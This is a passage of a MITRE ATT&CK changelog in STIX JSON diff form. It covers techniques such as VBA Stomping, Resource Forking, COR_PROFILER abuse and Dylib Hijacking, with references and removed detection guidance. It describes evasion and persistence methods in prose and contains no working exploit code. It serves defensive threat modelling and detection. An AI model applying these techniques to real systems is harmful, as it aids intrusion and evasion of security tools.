+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.325000+00:00\", \"old_value\": \"2025-04-25 14:48:40.519000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0045: Detection Strategy for Process Argument Spoofing on Windows"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-10-12 20:02:31.866000+00:00",
+ "modified": "2025-10-24 17:49:14.736000+00:00",
+ "name": "Resource Forking",
+ "description": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/009",
+ "external_id": "T1564.009"
+ },
+ {
+ "source_name": "tau bundlore erika noerenberg 2020",
+ "description": "Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore (macOS) mm-install-macos. Retrieved October 12, 2021.",
+ "url": "https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html"
+ },
+ {
+ "source_name": "Resource and Data Forks",
+ "description": "Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.",
+ "url": "https://flylib.com/books/en/4.395.1.192/1/"
+ },
+ {
+ "source_name": "ELC Extended Attributes",
+ "description": "Howard Oakley. (2020, October 24). There's more to files than data: Extended Attributes. Retrieved October 12, 2021.",
+ "url": "https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/"
+ },
+ {
+ "source_name": "sentinellabs resource named fork 2020",
+ "description": "Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides in Named Fork. Retrieved October 12, 2021.",
+ "url": "https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/"
+ },
+ {
+ "source_name": "macOS Hierarchical File System Overview",
+ "description": "Tenon. (n.d.). Retrieved October 12, 2021.",
+ "url": "http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jaron Bradley @jbradley89",
+ "Ivan Sinyakov"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Process: Process Creation\", \"Command: Command Execution\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.736000+00:00\", \"old_value\": \"2025-04-16 20:37:19.185000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n\\nMonitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Identify files with the com.apple.ResourceFork extended attribute and large data amounts stored in resource forks. \\n-\\n-Monitor command-line activity leveraging the use of resource forks, especially those immediately followed by potentially malicious activity such as creating network connections. \"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1013: Application Developer Guidance"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0584: Detection Strategy for Resource Forking on macOS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-09-17 12:51:40.845000+00:00",
+ "modified": "2025-10-24 17:49:22.623000+00:00",
+ "name": "VBA Stomping",
+ "description": "Adversaries may hide malicious Visual Basic for Applications (VBA) payloads embedded within MS Office documents by replacing the VBA source code with benign data.(Citation: FireEye VBA stomp Feb 2020)\n\nMS Office documents with embedded VBA content store source code inside of module streams. Each module stream has a PerformanceCache that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the _VBA_PROJECT stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.(Citation: Evil Clippy May 2019)(Citation: Microsoft _VBA_PROJECT Stream)\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero\u2019s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the _VBA_PROJECT stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.(Citation: Walmart Roberts Oct 2018)(Citation: FireEye VBA stomp Feb 2020)(Citation: pcodedmp Bontchev)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1564/007",
+ "external_id": "T1564.007"
+ },
+ {
+ "source_name": "FireEye VBA stomp Feb 2020",
+ "description": "Cole, R., Moore, A., Stark, G., Stancill, B. (2020, February 5). STOMP 2 DIS: Brilliance in the (Visual) Basics. Retrieved September 17, 2020.",
+ "url": "https://www.fireeye.com/blog/threat-research/2020/01/stomp-2-dis-brilliance-in-the-visual-basics.html"
+ },
+ {
+ "source_name": "Evil Clippy May 2019",
+ "description": "Hegt, S. (2019, May 5). Evil Clippy: MS Office maldoc assistant. Retrieved September 17, 2020.",
+ "url": "https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/"
+ },
+ {
+ "source_name": "Microsoft _VBA_PROJECT Stream",
+ "description": "Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.",
+ "url": "https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239"
+ },
+ {
+ "source_name": "Walmart Roberts Oct 2018",
+ "description": "Sayre, K., Ogden, H., Roberts, C. (2018, October 10). VBA Stomping \u2014 Advanced Maldoc Techniques. Retrieved September 17, 2020.",
+ "url": "https://medium.com/walmartglobaltech/vba-stomping-advanced-maldoc-techniques-612c484ab278"
+ },
+ {
+ "source_name": "pcodedmp Bontchev",
+ "description": "Bontchev, V. (2019, July 30). pcodedmp.py - A VBA p-code disassembler. Retrieved September 17, 2020.",
+ "url": "https://github.com/bontchev/pcodedmp"
+ },
+ {
+ "source_name": "oletools toolkit",
+ "description": "decalage2. (2019, December 3). python-oletools. Retrieved September 18, 2020.",
+ "url": "https://github.com/decalage2/oletools"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Rick Cole, Mandiant"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.623000+00:00\", \"old_value\": \"2025-04-25 14:48:00.627000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\\n\\nIf the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection efforts should be placed finding differences between VBA source code and p-code.(Citation: Walmart Roberts Oct 2018) VBA code can be extracted from p-code before execution with tools such as the pcodedmp disassembler. The oletools toolkit leverages the pcodedmp disassembler to detect VBA stomping by comparing keywords present in the VBA source code and p-code.(Citation: pcodedmp Bontchev)(Citation: oletools toolkit)\\n-\\n-If the document is opened with a Graphical User Interface (GUI) the malicious p-code is decompiled and may be viewed. However, if the PROJECT stream, which specifies the project properties, is modified in a specific way the decompiled VBA code will not be displayed. For example, adding a module name that is undefined to the PROJECT stream will inhibit attempts of reading the VBA source code through the GUI.(Citation: FireEye VBA stomp Feb 2020)\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1042: Disable or Remove Feature or Program"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0012: Script (Script Execution)",
+ "DS0022: File (File Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0012: Detection Strategy for VBA Stomping"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-12 20:38:12.465000+00:00",
+ "modified": "2025-10-24 17:49:13.820000+00:00",
+ "name": "Hijack Execution Flow",
+ "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1574",
+ "external_id": "T1574"
+ },
+ {
+ "source_name": "Autoruns for Windows",
+ "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.",
+ "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Module: Module Load\", \"Process: Process Creation\", \"Service: Service Metadata\", \"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:13.820000+00:00\", \"old_value\": \"2025-04-15 19:58:57.767000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\\n\\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n\\nMonitor for changes to environment variables, as well as the commands to implement these changes.\\n\\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\\n\\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\", \"diff\": \"--- \\n+++ \\n@@ -1,11 +0,0 @@\\n-Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\\n-\\n-Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n-\\n-Monitor for changes to environment variables, as well as the commands to implement these changes.\\n-\\n-Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\\n-\\n-Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. 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+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1013: Application Developer Guidance",
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1024: Restrict Registry Permissions",
+ "M1038: Execution Prevention",
+ "M1040: Behavior Prevention on Endpoint",
+ "M1044: Restrict Library Loading",
+ "M1047: Audit",
+ "M1051: Update Software",
+ "M1052: User Account Control"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0019: Service (Service Metadata)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0218: Detection Strategy for Hijack Execution Flow across OS platforms."
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-06-24 22:30:55.843000+00:00",
+ "modified": "2025-10-24 17:49:40.510000+00:00",
+ "name": "COR_PROFILER",
+ "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1574/012",
+ "external_id": "T1574.012"
+ },
+ {
+ "source_name": "Microsoft Profiling Mar 2017",
+ "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.",
+ "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview"
+ },
+ {
+ "source_name": "Microsoft COR_PROFILER Feb 2013",
+ "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)"
+ },
+ {
+ "source_name": "RedCanary Mockingbird May 2020",
+ "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.",
+ "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/"
+ },
+ {
+ "source_name": "Red Canary COR_PROFILER May 2020",
+ "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.",
+ "url": "https://redcanary.com/blog/cor_profiler-for-persistence/"
+ },
+ {
+ "source_name": "Almond COR_PROFILER Apr 2019",
+ "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.",
+ "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html"
+ },
+ {
+ "source_name": "GitHub OmerYa Invisi-Shell",
+ "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.",
+ "url": "https://github.com/OmerYa/Invisi-Shell"
+ },
+ {
+ "source_name": "subTee .NET Profilers May 2017",
+ "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.",
+ "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Jesse Brown, Red Canary"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Module: Module Load\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:40.510000+00:00\", \"old_value\": \"2025-04-25 14:48:41.257000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1024: Restrict Registry Permissions",
+ "M1038: Execution Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0011: Module (Module Load)",
+ "DS0017: Command (Command Execution)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0479: Detection Strategy for Hijack Execution Flow using the Windows COR_PROFILER."
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-16 15:23:30.896000+00:00",
+ "modified": "2025-10-24 17:49:39.243000+00:00",
+ "name": "Dylib Hijacking",
+ "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1574/004",
+ "external_id": "T1574.004"
+ },
+ {
+ "source_name": "MalwareUnicorn macOS Dylib Injection MachO",
+ "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.",
+ "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5"
+ },
+ {
+ "source_name": "Apple Developer Doco Archive Run-Path",
+ "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.",
+ "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html"
+ },
+ {
+ "source_name": "Wardle Dylib Hijacking OSX 2015",
+ "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.",
+ "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf"
+ },
+ {
+ "source_name": "Writing Bad Malware for OSX",
+ "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
+ "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
+ },
+ {
+ "source_name": "Wardle Dylib Hijack Vulnerable Apps",
+ "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.",
+ "url": "https://objective-see.com/blog/blog_0x46.html"
+ },
+ {
+ "source_name": "wardle artofmalware volume1",
+ "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved November 17, 2024.",
+ "url": "https://taomm.org/vol1/read.html"
+ },
+ {
+ "source_name": "Github EmpireProject HijackScanner",
+ "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.",
+ "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py"
+ },
+ {
+ "source_name": "Github EmpireProject CreateHijacker Dylib",
+ "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.",
+ "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
